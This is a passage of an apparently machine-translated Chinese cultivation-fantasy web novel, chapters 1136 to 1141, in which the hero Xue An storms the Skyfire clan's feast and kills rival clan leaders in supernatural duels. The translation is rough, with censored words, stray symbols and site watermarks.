    At this time, An Yan also stood up, "husband..."


    Xue An turned his head and smiled at her slightly, "Yan''er, wait for me here, I''ll be back when I go!"


    And the two little girls who were lowering their heads to eat, also raised their heads at this moment, holding their small fists to cheer Xue An: "Dad, come on!"


    Xue An laughed, "Okay!"


    After that, Xue An looked around the audience.


    After seeing Xue An''s gaze, the crowds in the distance took a half step back with shocked faces.


    Xue An smiled faintly, and then said coldly: "Miss Zhong, don''t you want revenge? Then follow along!"


    Zhong An''an was startled, and then nodded solemnly, "Yes!"


    then turned his head and shouted into the darkness: "Come here!"


    All the elders and strong men of the Taiyin Protoss all came over.


    Xue An glanced at the group of people, and with a wave of his hand, he saw sword lights flying out and saving everyone. .


    "Alright! Let''s go!"


    After that, Xue An waved his hand, and the whole person rose into the sky in an instant.

 Chapter 1136： The wealthy people gather, singing and dancing

    Zhong Anan lightly yelled: "Quickly follow!"


    said, he also urged divine power, and flew up.


    in an instant.


    The entire Taiyin Protoss was blessed by the sword light given by Xue An, soaring to the sky, and disappearing into the sky in an instant.


    Everyone stared blankly at the streamer disappearing into the sky, and their brains were blank for a while.


    I thought this Xue An had conceded, but he didn''t expect that he was so arrogant, and he really dared to go to the Quartet World to ask those tycoons to ask their guilt.


    But if he goes, can he come back?


    After all, those wealthy people are not vegetarian!


    Many people couldn''t help but show a sneer on their faces.


    But Chu Xiaoyun and others looked at them with worry, for fear of another accident in Xue An.


    Even An Yan is a little worried.


    Only Hu Ying had a big face, "Alright, sister Yan, don��t worry about Brother Xue. This kind of miscellaneous **** is nothing in the eyes of Brother Xue. If you leave it before, even a look from Brother Xue can catch them. Become a fan! So don''t worry!"


    Despite this, An Yan still feels a little worried.


    At this moment.


    I saw the koi ball made by the **** pattern, and after spinning around the table several times, it suddenly jumped into the pot.


    "Ball ball!" Thinking and Niannian screamed.


    After all, this hot pot is boiling hot!


    I didn''t expect the ball to stick out its head, and then swim inside very comfortably.


    The octopus, who was happily eating, couldn''t help but was stunned, and then drooled and stretched out his chopsticks.


    "This fish is delicious at first sight!"


    But just as the chopsticks were inserted into the pot, the ball suddenly flicked its tail.


    The hot soup splashed Octopus on her face.


    Zhang Xiaoyu screamed, and then roared angrily: "How dare you treat my old lady like this, I have to get all your fins off today!"


    said, she was about to move her arms and sleeves.


    But this koi didn''t mean to be scared at all. He even lay on his back in the soup, showing his white belly, and looked at the octopus with provocative eyes.


    Zhang Xiaoyu was furious, "No one can stop me today, I have to eat this guy!"


    said, Zhang Xiaoyu increased the firework of the hot pot.


    The soup boiled, the ball struggled a few times, and then sank into the soup.


    "Ball ball!" Missing missed an exclamation.


    Then think about looking at the octopus with an annoyed face, "You actually boiled the ball to death, you lose us the ball!"


    "Yes! You lose us the ball!" Nian-nian cried out even more.


    Zhang Xiaoyu couldn''t help being a little dumbfounded.


    "I...I''m just playing around, but who would have thought this ball can''t help being cooked?"


    "I don''t care, you lose us the ball!" Nian Nian cried.


    At this moment, the soup in the hot pot suddenly began to decrease at a speed visible to the naked eye.


    In an instant, I saw this koi ball drank all the hot pot soup, and then burped contentedly, then jumped up from the pot and glanced at Zhang Xiaoyu with disdain.


    Then he flew into Nian Nian''s arms and closed his eyes comfortably.


    Seeing the ball is okay, the two little girls turned anger into joy.


    But Zhang Xiaoyu was a little dumbfounded. It wasn''t until after a meeting that she roared in anger: "Did you see it? This ball dares to look down on me? A fish dares to look down on me? This is a shame!"


    But her shouts were ignored.


    Zhang Xiaoyu was furious and shouted at Hu Ying: "Sister Fox, you just saw this fish actually dare to despise me? I..."


    Fox Ying knocked her on the head casually, "What if you see it, who asked you to provoke others first, shut up!"


    Zhang Xiaoyu held his head and closed his mouth without tears, but he kept thinking about how to deal with this big stupid fish in the future.


    at the same time.


    Xue An and his party have already passed through layers of void, left the scope of Amaterasu God''s Domain, and arrived at the place of Sifang Huanyu.


    Such a speed, if you say it, it can scare people''s eyes.


    This is because Xue An has to take care of the group of Taiyin people behind him, and has deliberately slowed down.


    at last.


    They came outside the space where the Skyfire God Race was.


    Zhong An��an whispered: "My lord, the sky fire desert is in front of you! And this time the alliance of the rich and powerful should be in the sky fire city!"


    Xue looked quietly, as if he felt something, his eyes gradually brightened, and then he smiled and said, "Let''s go!"


    After that, he was ready to step forward.


    Zhong An''an was surprised, "My lord, don''t..."


    Because of a strong clan such as the Skyfire God Clan, there must be a defensive array at the edge of the territory.


    Xue An walks in directly like this, it is likely to stimulate the defensive formation, thereby alarming the people inside.


    It may be too late, Xue An has already landed in the void.


    Zhong An''an sighed in his heart, thinking that he must have been horrified.


    But the next scene was far beyond her expectation.


    But seeing a light curtain appeared in the void, the fireworks flowed above the light curtain, exuding compelling heat, which was obviously the defensive array of the Skyfire God Race.


    But when Xue An��s body touched the defensive array, the light curtain was rippling, and then as if seeing the master��s servant, he quietly retreated.


    A huge gap, UU reading appeared in front of everyone.


    Zhong An''an and the people of the Taiyin Protoss watched in astonishment.


    The defensive array of the Sky Fire God Clan broke open in such an understatement? This is incredible!


    Xue An didn''t care at all, and stepped into it.


    And just when Xue An and his party had walked into the desert of Tianhuo.


    Tianhuoshenxuan is still a bustling scene of singing and dancing.


    All the wealthy people gathered together, drinking happily and happily.


    Even Qi Sixiang, Bai Tu and others who were sitting on the high platform were proud of their faces.


    "Hehe, now that the ten-day appointment has come, it is estimated that the man surnamed Xue is silly in the Cursed City!" Bai Tu said with a sneer.


    Xiao Xiao also laughed grinningly when he heard the words, "I don''t think it is necessarily being stupid, maybe hiding in the quilt and crying!"


    ''S words caused a roar of laughter in the audience.


    Among them, Qi Xuanfeng laughed the most exaggerated, and said in a weird manner: "I don''t know what the **** of the Taiyin Protoss are feeling now, I guess the regrets are about to hit the wall!"


    The profound soul who stood respectfully behind him, heard the words and hurriedly smiled and said: "The second master is right, I guess those people of the Taiyin Protoss will hate Zhong An''an this **** now!"


    As soon as he heard the name Zhong An''an, Qi Xuanfeng''s expression changed, and he slapped Xuanhun with his hand. .


    Xuanhun was beaten up and almost fell to the ground, then looked at Qi Xuanfeng in amazement.


    Qi Xuanfeng said viciously, "Don''t tell me the name of that **** in the future! Understand?"

 Chapter 1137： Start of the war, appetizers

    Xuanhun nodded hurriedly, "Yes!"


    "Huh, when we catch this bitch, I must concoct her well, so that she can''t survive and die!"


    Qi Xuanfeng��s eyes were full of resentment, because when he heard the name Zhong An��an, he felt that his face was hot and painful, and this feeling made him crazy.


    Qi Sixiang saw this, his eyes moved slightly, and he was about to speak.


    At this moment, a line of fire suddenly flew over and appeared in front of him.


    Qi Sixiang waved easily, and the flame fell into his hands.


    The field became quiet.


    Everyone knows that this is a sacred fire order used by the Skyfire God Clan to transmit information.


    At this time, Qi Sixiang laughed suddenly, the laughter was very cheerful.


    Bai Tu asked: "Clan Chief Qi, what''s the matter?"


    Qi Sixiang smiled and said, "It''s nothing, it''s just that someone passed a picture of the Cursed City over!"


    "Oh? A picture of the Cursed City?" Bai Tu was slightly startled.


    Qi Sixiang nodded, "Yes!"


    As he said, he waved his hand and saw a water mirror appear in the Shenxuan.


    In the water mirror, there is a picture of Xue An, An Yan, and Hu Ying sitting around the city wall and eating hot pot together.


    Seeing this scene, everyone was taken aback.


    Then there was a burst of laughter.


    "It''s really funny. At this time, I still have the heart to eat. How big is Xue An''s heart!" Many people laughed.


    And Xiao Xiao��s focus is different from that of ordinary people.


    I saw him greedily watching the stunning An Yan, Hu Ying and others in the picture, licking his lips and said, "These women are so beautiful! When this Xue An is killed, I will arrest all the women around him. Get up and enjoy!"


    said, he laughed strangely.


    But at this moment, I only heard a cold voice coming from afar, "Unfortunately, you are dead to enjoy it!"


    "Who?" Everyone was surprised.


    At the same time, Xue An led the people of the Taiyin Protoss and walked into the Tianhuoshenxuan with head up.


    "It''s Xue An!" Someone screamed in surprise.


    Boom!


    There seemed to be a magnitude nine earthquake in the audience, and everyone was shaken by it.


    Qi Sixiang, Bai Tu and others suddenly stood up, looking at Xue An with horror.


    Especially Qi Sixiang, he couldn''t believe his eyes.


    You must know that this skyfire city and even the entire skyfire desert are under his full control.


    It is not an exaggeration to say that even if an ant crawls in, he will feel it.


    Unexpectedly, when Xue An walked in with a large group of people, he didn''t notice it at all.


    How can this not make Qi Sixiang terrified.


    Qi Xuanfeng, who was standing in the crowd, couldn''t help burning with anger after seeing Zhong Anan behind Xue An, "Bitch, how dare you come?"


    Zhong An''an''s expression was cold, and after looking at Qi Xuanfeng, he cast his gaze on the worried Xuanhun.


    Although he didn''t speak, the bitter killing intent in his gaze still shocked Xuanhun''s body and hid behind Qi Xuanfeng with a guilty conscience.


    At this time, Xue An looked around the audience and said lightly: "Are everyone here?"


    The sound was not loud, but it reached the ears of everyone in the audience.


    For an instant, the Heavenly Fire God Xuan became extremely quiet.


    Many people looked at Xue An with incredible eyes.


    Because no one thought he would come so suddenly.


    Isn''t he still eating in the water mirror image just now?


    How is this going?


    Many people were surprised and doubtful, so when faced with Xue An��s question, the audience became quiet for a while.


    Xue An smiled, "Don''t be so serious, I just ask! Since they are all here, it will be easier!"


    As he said, Xue An raised his head and looked towards Fierce Xiao, his eyes flickered slightly, and he said faintly: "Look at the breath on your body, should it be the person who teaches the Five Elements?"


    Somehow, when facing Xue An''s gaze, the fierce Xiao Xiao subconsciously took a half step back.


    Because the moment he was stared at by Xue An, he felt that he was not facing an ordinary boy, but a mammoth colossus.


    This slightly thin white-clothed young man seemed to hide a prehistoric dragon in his body, making Xiaoxiao feel a little scared.


    But soon.


    He realized his gaffe, and then took a vicious step forward, and said furiously: "Yes, I am the leader of the Five Elements Sect, Xiao Xiao, you..."


    Before the words fell, Xue An didn''t even say anything. He stretched out a palm that looked like a sapphire jade and took a picture.


    Boom!


    But seeing a huge palm shadow smashed into the fierce sky like Mount Tai fell.


    Fierce Xiao was also aroused fierce temperament, and roared ferociously: "Zhuzi dare you!"


    said, he agitated the divine power of his whole body and wanted to resist the palm.


    But he too underestimated Xue An, or too overestimated himself.


    As soon as he touched, he heard a burst of crackles like crackles coming from Xiaoxiao''s body.


    Then Xiaoxiao screamed and was slammed directly into the extremely hard ground by this palm, and his height was instantly compressed by half.


    And all the skin of Fierce Xiao''s body was pierced by the broken bones, and the blood dripped, revealing Bai Sensen''s bone stubble.


    One palm.


    The leader of the five-way **** sect was hit by Xue An repeatedly vomiting blood, almost dying.


    The audience instantly became deadly silent.


    Those who were going to watch Xue An''s jokes are all dumbfounded at the moment.


    Even the members of the Taiyin Protoss who followed were shocked in place.


    Because they didn''t expect Xue An to be so strong, after entering the arena, without even saying a few words, he moved directly.


    In a quiet state, Xue An said lightly: "I don''t bother to care who you are, but with the words you just said, this palm is just an appetizer!"


    Hearing Xue An��s domineering words, many people around him were silent.


    There was even the timid who had quietly stepped back a few steps, trying to keep away from Xue An.


    at the same time.


    But seeing Qi Sixiang also wake up from the shock, then stared at Xue An coldly, and said coldly.


    "Xue An, I really admire you! How courageous are you? You really dare to make trouble in the city of fire this day! Are you impatient?"


    "That''s right! Xue An, you killed my son. I haven''t asked you to settle this matter yet. How dare you take the initiative to send it to your door today?" Bai Tu of the Ancient Sword God Clan also shouted aloud.


    Even Xue An, who was almost slapped into meat patties by Xue An, spit out a large mouthful of blood at this moment, staring at Xue An with the fierce eyes of the chosen and devoured, and then wiped the blood from the corner of his mouth. Said with a gloomy smile.


    "Xue An, your strength is really good! But do you really think, what can I do with this palm? You are still too naive!".


    said, but seeing the fierce sky where most of his body was smashed into the earth, his body suddenly exploded.


    But there was no blood splashing out, even the meat and bones began to gather together in an instant.

 Chapter 1138： Calm as a sea of ??flesh and blood

    A group of flesh and blood giants began to take shape, and in an instant, an unharmed fierce Xiao appeared in front of everyone.


    Then he smiled at Xue Anjie strangely: "Xue An, didn''t you expect it? I am a real immortal! Hahahahaha!"


    Fierce Xiao laughed arrogantly.


    at the same time.


    Qi Xuanfeng, the second young master of Tianhuo, quietly rushed to everyone behind him and winked.


    The strong men of the Sky Fire God Clan walked up quietly and began to surround Xue An.


    There are also the Ancient Sword Protoss and the Five Elements Sect.


    The three major forces formed horns to each other, and Xue An and his party were firmly trapped in it.


    Even when the Qi machine is locked, the space is shaking slightly.


    Seeing this scene, Xiao Xiao smiled more triumphantly and wildly.


    "Xue An, you now kneel down and beg for mercy, and then offer all your women up, I may give you a good time, otherwise, I will let you understand what is fear!" Xiao Xiao said arrogantly.


    "Oh? Let me understand what fear is?" Xue An sneered coldly, and then suddenly raised his eyes.


    "Then this feast of killing, let''s start with you!"


    Xiao Xiao learned well this time, and before Xue An finished speaking, he coldly snorted, "It''s really looking for death!"


    After that, his figure flickered, and he rushed over directly, then reached out and grabbed it with one claw.


    thorn it.


    The space was like a white paper and was cracked by Xiao Xiao''s claw, and then shot at Xue An at a very fast speed.


    The power of the place where he passed, even caused several low-powered people close to him to burst directly, and their souls and spirits were destroyed.


    Xiao Xiao showed a grinning smile, and seemed to see the scene of Xue An dying in his hands in the next second.


    The feeling of piercing the skin with the palm of the hand, passing through the hot blood, squeezing the bones and internal organs, is so beautiful, and even the whole body shuddering with excitement.


    But the next second, nothing he imagined happened.


    What came from ���� was the strange feeling from the arm.


    But seeing that Xue An didn''t know when he had stretched out his hand, he grasped the palm of the hand that Hao Xiao had patted.


    Fierce Xiao was taken aback, and then he wanted to pull his hand out in fear.


    But at this time, he was horrified to discover that although Xue An''s palm was slender, it was as unbreakable as a mountain. In front of him, all the struggles were futile.


    At this time, Xue An raised the corners of his mouth, revealing a faint smile.


    "With this kind of palm, do you want to do it with me?"


    said, Xue An suddenly shook his palm.


    Just listening to the crisp sound of a fracture, Xue An''s palm was directly pinched into a mass of fleshy flesh.


    Xiaoxiao let out a terrible cry.


    He likes blood and killing, and he also likes to hear others scream.


    But what he likes is the feeling that he is a knife and others are fish.


    The feeling of torturing his opponent and then torturing him a little bit to death, he didn''t want to happen to him at all.


    But now the situation has reversed, and he has really become a prey, which of course makes him unacceptable.


    Especially, he was horrified to discover that even though he wanted to use his divine power to repair the palm that was crushed by Xue An, it didn''t help at all.


    seems to have a barrier, completely cutting his palm from his body.


    This made him terrified, and then roared, "What the **** did you do to me?"


    Xue An smiled slightly, "It''s nothing, this is just a small dessert before the meal! As I said, this killing feast, you are the first dish, so enjoy it slowly! This is not your favorite. Huh?"


    Fierce Xiao is now frightened and angry, and at the same time full of fear of Xue An.


    He couldn''t understand why this young girl, who looked like a girl, was so cruel when he did it.


    is even more ruthless than myself!


    The key is that when he was doing these things, his eyes were calm as the sea, and there was even a hint of compassion.


    This feeling made Xiao Xiao feel like a sinner judged by a god.


    This is really unacceptable to him.


    And he knew that if he couldn''t defeat this man, he wouldn''t even want to be the leader of the five-way god.


    Therefore, he suddenly withdrew back, and after flying back several tens of feet, he directly disconnected the two palms that had become mud, and then looked at Xue An coldly.


    "You are indeed very strong, I admit that I underestimated you! But you succeeded in angering me! Now, I want you to understand the price of angering a real strong person!"


    After ���� said, he saw that Xiao Xiao''s eyes suddenly turned into a monster blood red, and then he roared to the sky.


    "The demon **** is here!"


    Boom!


    Following his order, he saw layers of ripples in the void, and then saw a demon **** wearing a scary ghost crown and an evil baby lotus flower flying out of it.


    Not only that, but one after another demon gods followed.


    In an instant, the sky above the Tianhuo Shenxuan was occupied by densely packed monsters.


    The evil and powerful aura even made the entire Sky Fire God Xuan shake.


    "Hahahaha, Xue An, you can let me release all the demon gods enshrined in this sect at one time, which is enough to be proud! Destroy him!"


    Fierce Xiao pointedly pointed forward.


    But seeing the strong aura of the demon gods superimposed on top of Xue An''s head in an instant.


    At that moment, it was as if Xue An was wearing a hat made up of countless demons.


    And the auras of so many monsters and gods are combined to form a powerful force, and then Xue An is firmly locked, and it is straight.


    Wherever ���� passes, the space is broken, and the momentum is like the sea.


    At least the people of the Taiyin Protoss were forced into the distance by this aura But Xue An didn''t put these monsters in his eyes at all, just smiled coldly.


    "A group of wild beasts living in the crevices of space, dare to call themselves demon gods?"


    After that, Xue An suddenly raised his eyes, a flash of light flashed in his eyes, and a turbulent spirit rushed out.


    ��.


    After a muffled sound, an invisible shock wave of divine consciousness spread instantly.


    Countless divine cultivators with shallow cultivation base snorted together, and they were almost shaken away by the shock wave.


    And these demon gods who blasted over were even more stagnant, and then let out an unwilling roar, bursting one by one.


    in an instant.


    These demons and gods all turned into powder.


    The power of backlash caused Xiaoxiao''s mouth and nose to bleed.


    But what makes him even more unbearable is the fear in his heart.


    "No... this is impossible!"


    He couldn''t believe that the Five-way God Sect was famous for its fame, and the demon and gods who were not profitable, they turned into powder without even a single encounter of Xue An.


    But facts are not changed by human will.


    Xiao Xiao��s shouts were not over yet, Xue An said lightly: "I am a little tired of your dish! Take it out!"


    As he said, Xue An''s palms came out, and the huge palm shadow directly enveloped the fierce sky.


    Then the two palm shadows suddenly turned, and a huge grinding disc appeared in the void.


    And Xiao Xiao is the object of grinding. .


    He screamed and burst into shape, trying to get out again in this way.


    But when his figure turned into a torrent of flesh and blood, he found that the world around him had been sealed off.

 Chapter 1139： Draw the sword and fight to death

    He was firmly trapped in this "grindstone".


    at the same time.


    Seeing the grinding wheel rotate, the space is shaken out of folds.


    And Xiao Xiao screamed sternly.


    "No... I was wrong, don''t kill..."


    The voice was faint, and then quickly disappeared invisible.


    All the audience can hear is the faint and crisp sound of the palm shadow grinding the bones.


    at last.


    after three breaths.


    The palm shadow disappeared.


    When I watched the field again, there was no more Fierce Xiao figure.


    There is only a little bit of blood mist floating in the air.


    This is the last thing that Xiaoxiao left in the world.


    Under the blow of Xue An just now, the spirit of Xiaoxiao was crushed.


    Although all of this is slow to speak, it all happened in less than a stick of incense.


    But in such a short period of time, Xue An directly destroyed the patriarch of the Five Elements Sect, Xiao Xiao.


    Such a proud record has left everyone''s brains blank.


    at the same time.


    Xue An looked at Qi Sixiang and Bai Tu, whose expressions changed, and smiled faintly, "I have eaten dessert before the meal. Now, it''s your dinner!"


    Facing Xue An��s smile, Qi Sixiang and Bai Tu trembled all over, and then involuntarily roared, "Go together!"


    gave an order.


    I saw many strong people from two races and one religion swarming up, all together, trying to put Xue to death.


    But seeing Guanghua Road, the power is full.


    Xue An''s figure looked like a flat boat in the ocean, completely submerged.


    "My lord!" Zhong An''an and the people of the Taiyin Protoss cried out in exclamation, and then they all rushed up to rescue Xue An.


    But at this time, Qi Xuanfeng led a group of men to block the way, and then Jie Jie smiled strangely: "Zhong Anan, your lord is dead now and there is no place to be buried, surrender obediently, maybe I am in a good mood, and you can live more. A few days, otherwise today will be your death date!"


    "That''s right! Zhong Anan, don''t be wishful thinking, surrender! That Xue An is powerful, but in the end he didn''t die in the hands of the adults?" Xuanhun''s "wholesome" exhortation said.


    Zhong Anan''s face was as cold as ice, he glanced at Qi Xuanfeng, then looked at the proud Xuanhun, and said every word: "You are willing to be a dog, but it doesn''t mean that others are willing!"


    "You..." Xuanhun''s complexion changed, and his face was viciously said: "Zhong Anan, you don''t want to toast or drink fine wine, and you don''t want to surrender, but maybe these people behind you are willing?"


    This profound soul is obviously provoking discord.


    Zhong Anan can''t help but startled, yeah! What if these tribesmen behind him also have different intentions?


    Thinking of this, she couldn''t help turning her head to look at everyone.


    But I saw all the members of the Taiyin Protoss who followed, bowing together at this moment, "Master Patriarch, we...may die!"


    ''S voice resounded throughout the Tianhuo Shenxuan, making Xuanhun''s complexion instantly extremely ugly.


    Zhong An��an was also taken aback, and then felt a sore nose, he couldn''t help taking a deep breath, and smiled openly: "Okay! This is my Taiyin tribe!"


    After ����, she slowly pulled out the sword that Mu Guqing had passed to her, and shouted coldly: "Taiyin God Race...draw the sword!"


    With the sound of drawing swords everywhere, the expressions of Qi Xuanfeng and Xuanhun became extremely ugly under the light of the sword.


    "Hmph, I''m really obsessed! Do it!" Qi Xuanfeng yelled coldly.


    Many strong people rushed up.


    Everyone in the Tianhuo Shenxuan felt that the general situation was set.


    Because Xue An has been blocked by countless powerful people, it is absolutely hard to escape.


    As for this Taiyin Protoss, no one takes it seriously.


    Therefore, there are far more people besieging the Taiyin Protoss than Xue An. After all, everyone is willing to be soft.


    What''s more, this Taiyin Protoss is a delicate woman, so it''s good to get some cheap dips.


    At least the people who rushed to the front thought so, but soon they paid a painful price for their ideas.


    I saw people from the Taiyin Protoss standing together holding swords, and didn''t do anything in advance.


    Until these people had rushed to the front, Zhong An''an suddenly shouted, "Do it!"


    gave an order.


    All the Taiyin tribesmen waved their swords together, but when they saw the light of the sword, they heard a scream.


    The first wave of besieged people were all cut under the sword.


    "Go ahead!" Zhong Anan commanded.


    The people of the Taiyin Protoss kept their formation and walked forward.


    Everywhere ���� passed, everyone couldn''t help but retreat in shock.


    Qi Xuanfeng was furious, "Trash, it''s all a bunch of trash!"


    said, he was ready to do it himself.


    At this moment, the voice of Ancient Sword God Clan Bai Chi came from behind him.


    "Qi Er Shao, don''t be impatient, give me this girl!"


    Qi Xuanfeng was startled slightly, "Brother Bai, you..."


    "Don''t worry, when it comes to playing with swords, our ancient sword **** race is the ancestor!" Bai Chi said confidently, and then looked greedily at the long sword in Zhong An''an''s hand.


    He recognized at a glance, this was the long sword that Mu Guqing relied on before he died.


    The high quality of this sword made him eager for it, so he naturally wanted to grab it and then quickly.


    Therefore, he sneered, and then his body took a halt, and his whole body disappeared in place, and when he appeared again, he had already come to Zhong An''an, and then cut down with a grinning sword.


    I saw a bright sword light slashed down with a thunderous force, and it was so fast that no one could react.


    For this sword, Bai Chi is confident and believes that Zhong An''an will undoubtedly die.


    Because he can tell at a glance that Zhong An''an''s kendo training is actually quite ordinary.


    As expected.


    But seeing Zhong Anan''s figure shocked, although he wanted to dodge, the sword light had already come above her head at this time.


    Zhong Anan''s eyes flashed unwillingly.


    Still failed to change the ending? Forget it, anyhow, I have already fought, and died without regret!


    Thinking of this, Zhong Anan''s face showed a touch of relief.


    But just when this sword is about to cut off Zhong An''an''s head.


    A very inconspicuous sword light suddenly flew out of Zhong An''an''s head, and then slowly confronted the sword that Bai Chi had cut.


    There is no sound.


    There was not even any unnecessary movement.


    When Bai Chi''s sword faced the light of the sword light that was as thin as a hairspring, it was as if the soil had touched gold, and he couldn''t even resist, and it went to nothing.


    Bai Chi shocked all over, looking at the ray of sword light in horror, and opened his mouth to shout something.


    But at this moment, this ray of sword light turned into streamer and passed directly through his mouth.


    With a muffled sound, Bai Chi exploded a big hole directly behind his head, and the sword light flew out of it, and then swept across the air.


    Just heard a muffled sound All the strong men who besieged the Taiyin Protoss stood still.


    The situation stopped instantly.


    All the onlookers watched in shock, not understanding what happened.


    Only Bai Chi''s eyes showed infinite awe and fear, the corners of his mouth moved, and he wanted to say something, but in the next instant, his eyes dimmed instantly.


    Then the vitality of his whole person was completely cut off, and his soul was destroyed.


    at the same time.


    A strange and terrifying scene appeared in front of everyone.


    But seeing all the people besieging the Taiyin Protoss standing sluggishly on the spot, a thin line of blood suddenly appeared in the throat, and the blood stains rapidly expanded. Then in the next instant, the heads of these strong men rose to the sky.


    Between the splashes of blood, these powerhouses are also fascinated, with two dead bodies.

 Chapter 1140： War of the Ancient Sword

    The entire audience could hear the breath of fear in an instant.


    Many people were shocked by this scene.


    Even Zhong An''an was a little silly, because she didn''t know what was going on with the sword light.


    At this moment, I saw this ray of sword light flying towards the heavy brilliance that was blocked by many powerful people.


    "Hurry up and stop it!" Qi Sixiang took the lead to react and exclaimed in shock.


    The white picture beside ���� also recovered from the shock at this time, and roared in grief and anger: "Chi''er!"


    The dead Bai Chi is also a son he valued extremely.


    After all, this is the second son who died on his own, and without exception, all of them were killed by Xue An.


    Therefore, he hated Xue An for his bones. He didn''t need Qi Sixiang to say. He flew to the front, facing the rushing sword light, and then grinned and said: "You dare to play swords in front of my ancient sword **** clan to break me. !"


    As he said, he roared, and a small sword suddenly appeared in front of him.


    The small sword grew in the wind, instantly turning into a huge sword nearly ten feet long, and directly confronted the rushing sword light.


    only heard the extremely clear sound of golden and iron.


    Then I saw that this huge sword was shaken back more than ten feet, and the blade trembled slightly, obviously suffering some injuries.


    But this blow also had an effect. After a slight stagnation, the sword light finally shattered and finally dissipated invisible.


    Baitu laughed at the sight, and then screamed at Guanghua who was still firmly blocked.


    "My sword is so famous! There is nothing in the world that can withstand its blow. In terms of swordsmanship, no one can compare to my ancient sword gods! Xue An, don''t think about something. I can save you! It''s useless, get on the road honestly!"


    The voice is full of arrogance and joy.


    But Qi Xuanfeng and the Profound Soul, who had mentioned their hearts in their throats, couldn''t help but secretly relieved when they saw this.


    Anyway, this terrifying sword light was wiped out!


    Under the joint strangulation of many masters, the destruction of Xue An seems to be only a matter of time.


    But when many people just let go of their hearts, they only heard Xue An��s chuckle from the brilliance.


    "Sword celebrities kill, everything is unbreakable, and swordsmanship is unmatched? I am really wondering, who has given you the courage to make you such a big talk?"


    Bai Tu''s complexion changed, and then he snorted coldly from his nostrils, and said coldly: "Xue An, what? Are you still not satisfied? What can you do if you are not satisfied? You are already in a desperate situation and can''t get out. , Hahahaha!"


    Bai Tu laughed wildly again.


    In fact, the reason why he was so happy was not only that he was able to avenge his two sons for being killed, but more importantly, even the leader of the five-way **** sect had died!


    This is great news for him.


    When this Xue An is eliminated, the huge Amaterasu God Realm will be the territory shared by the Ancient Sword God Clan and Sky Fire God Clan.


    When the time comes, the Ancient Sword God Race will also become the foremost giant family.


    So he is naturally extremely happy.


    But at this moment, a cold voice poured cold water on his head.


    "Who said I can''t get out anymore? I just want to see what else you guys have, but now it seems that it''s nothing more than that! So...the game is over!"


    When the game is over, there are four words and one exit, but there are ripples in the space that has been blocked by countless powerful people, and the bright light curtain also begins to flicker.


    Then he saw his hands stick out abruptly and tore them to the sides.


    Click!


    The light curtain, which has gathered the power of countless strong people, was directly torn into two halves, and the power of backlash blasted these strong people directly out.


    And when the brilliance dissipated, who stood proudly, who was not Xue An?


    These strong men who were bounced out made the audience jump.


    The survivors looked at Xue An with extremely shocked eyes.


    Because they all thought Xue An would definitely lose this time, but they didn''t expect that he would break the blockade of Guanghua so easily.


    Zhong Anan and the people of the Taiyin Protoss took a sigh of relief. In any case, the adult''s safety is the best result.


    At this time, Bai Tu also woke up, and then there was a strong look of fear in his eyes.


    He didn''t understand why this boy was so tyrannical.


    Xue Anhao glanced at him in his spare time, then stopped his gaze on the slaughter sword floating beside his shoulder, and smiled faintly, "Is this the invincible sword you mentioned?"


    Baitu''s eyes grew colder, and he calmly nodded to those ancient sword gods not far behind Xue An, and then coldly said: "Yes!"


    Xue An chuckled and shook his head: "I took back what I said just now, you are not being outspoken, you are simply sitting on a well and watching the sky without knowledge!"


    These words are hard to hear, but Bai Tu ignored them when Xue An''s voice just fell off.


    Bai Tu suddenly shouted, "Do it!"


    gave an order, as soon as he grasped the flow killing, he took the lead in cutting out a sword.


    And those people of the ancient sword gods clan also made swords at the same time.


    I saw sword light like snow, covering the audience.


    Its sword spirit is so strong that even the onlookers feel that the hair on their faces seems to have been cut off, and the whole body is hurt by the piercing sword intent, and they can''t help but back away in amazement~www.novelhall.com ~ But under the cover of countless sword lights, Xue An still just smiled coldly, "Since your ancient sword gods are so confident in your own swordsmanship, then I will let you know what is truly invincible swordsmanship today. !"


    Say it.


    Xue An suddenly raised his eyes, a strong sword intent rose into the sky from Xue An''s body, wherever he passed, all the sword beams that had been cut disappeared and turned into invisible.


    Baitu and the people of the Ancient Sword God Clan were also shaken by this sword intent.


    Especially Bai Tu, he couldn''t believe all this.


    "No... how can you have such a powerful sword intent?"


    Xue An smiled coldly, "Why not? Is it only your ancient sword gods can use swords?"


    Bai Tu''s face showed an extremely solemn look, and he was more afraid of Xue An.


    But now he and the entire Ancient Sword God Race have no retreat. There is only one choice, and that is to kill Xue An.


    Otherwise, they may also suffer an extinction.


    "Sword formation!" Bai Tu shouted in a deep voice.


    Boom!


    With an order, all the members of the Ancient Sword God Clan changed their bodies, and then formed a strong sword formation.


    while the front eyes are white pictures.


    But seeing a bunch of sword lights converging, they all attached to the flow killer in Bai Tu''s hand.


    Jianwei is getting stronger and stronger.


    But Xue An didn''t show the slightest fear, but looked at it with interest. .


    After a while, the quicksand sword in Bai Tu''s hand had become extremely bright, and then Bai Tu screamed.


    "Flowing Killing Breaking Heaven!"

 Chapter 1141： Deceive too much

    Boom!


    The sword slashed straight down, the style and power were so powerful that the words became a little pale.


    At least all the people who saw this sword have their hearts and minds seized for it.


    Baitu''s face showed pride.


    The ancient sword gods can achieve the name of a wealthy clan with swordsmanship, so naturally they have their own uniqueness.


    This sword formation is one of the best.


    Once used, the swordsmanship of everyone in the sword formation can be gathered in one person.


    That is really the **** blocking the killing of the gods and the Buddha.


    So in his opinion, this sword can definitely kill Xue An!


    But the triumph on his face has not fully bloomed, I saw Xue An raised his head and looked at the cut sword, smiled slightly, "It''s interesting, but that''s it!"


    As he spoke, he slowly raised his hand, as if he wanted to block the sword with a flesh and blood palm.


    Seeing this scene, many people shook their heads secretly, thinking that Xue An should be deterred by the momentum of this sword, causing confusion.


    Otherwise, how can you faint and want to fight the lingering sword light with flesh and blood?


    The white picture that struck with the sword was even more triumphant and wanted to laugh three times.


    Because he felt that Xue An must be at the end of the battle, and there was nothing to do.


    But just when everyone thought that Xue An would splash with blood at the next moment.


    I saw the sword light that was originally shining like a shooting star stagnated in an instant.


    Everyone was taken aback.


    Including Bai Tu, the pride on his face disappeared in an instant, replaced by a face of shock.


    Because at this moment, Xue An''s **** clamped the streamer, and it could not be stored anymore.


    All the previous sword force was pressed in front of Xue An''s two slender fingers, and they all disappeared invisible.


    Break the sword with your hand!


    This is simply unheard of.


    Bai Tu has never seen him before, but as soon as he gritted his teeth, he suddenly pulled back, trying to pull the sword out of Xue An''s hand.


    But only then did he realize that Xue An''s **** were like two big mountains, and they couldn''t shake them at all.


    At the same time, Xue An smiled faintly, "Is that just enough strength?"


